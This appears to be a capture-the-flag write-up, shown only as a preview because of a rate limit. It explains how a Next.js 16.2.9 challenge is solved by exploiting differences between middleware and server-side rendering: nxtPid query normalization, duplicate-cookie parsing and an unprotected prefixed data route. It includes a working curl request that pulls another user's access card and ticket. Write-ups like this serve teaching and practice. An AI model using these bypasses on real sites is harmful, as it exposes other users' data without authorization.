$ cat writeup.md…
$ cat writeup.md…
sekai2026
Next.js 16.2.9 challenge with two apps. The first half is recovered by abusing a nxtP query normalization differential to view Miku's access card, then a duplicate-cookie parser differential to pass middleware while SSR reads Miku's ticket. The second half is recovered from the second app by requesting /cdn/_next/data/<buildId>/index.json, where assetPrefix strips /cdn for rendering but the middleware matcher does not protect the prefixed data route.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
The challenge provided two Next.js instances and source code:
https://migurimental.chals.sekai.teamhttps://migurimental-2.chals.sekai.teamBoth applications use Next.js 16.2.9 with Pages Router middleware. The flag is split in two halves:
backstage1/pages/backroom.js returns the first half if ticket_uuid belongs to user id 1 (miku).backstage2/pages/index.js returns the second half, but middleware only allows requests whose x-real-migu header equals 1.3.3.7.Middleware protects /access-card and /backroom:
if (request.nextUrl.pathname === '/access-card') { const checkedId = request.nextUrl.searchParams.get('id') if (checkedId !== session.sub) return deny(request) } if (request.nextUrl.pathname === '/backroom') { const expectedTicket = session.ticketUuid const middlewareTicket = request.cookies.get('ticket_uuid')?.value || '' if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request) }
The SSR page /access-card trusts query.id and generates a QR code containing that user's ticketUuid:
const user = await findById(query.id) const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, ...)
Middleware protects / by checking a header set by nginx:
const remoteAddress = request.headers.get('x-real-migu') || '' if (remoteAddress !== '1.3.3.7') redirect('/rejected')
Directly spoofing x-real-migu fails because nginx overwrites it.
Registering gives a regular session JWT and ticket_uuid cookie. Example from the solve:
Set-Cookie: session=<regular_session>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18; Path=/; HttpOnly; SameSite=Lax Location: /access-card?id=547
nxtPidNext.js has a query normalization differential: a query parameter named nxtPid is normalized to id for middleware routing checks, while getServerSideProps still receives the original id query.
So this request makes middleware see our own id, but SSR renders user id 1:
curl -sS 'https://migurimental.chals.sekai.team/access-card?id=1&nxtPid=547' \ -H 'Cookie: session=<regular_session>; ticket_uuid=<regular_ticket>'
The response is Miku's access card (username: miku) with a QR code. Decoding the QR gives Miku's ticket UUID:
0464e4c2-2700-4e36-8401-597482a41ac7
...
$ grep --similar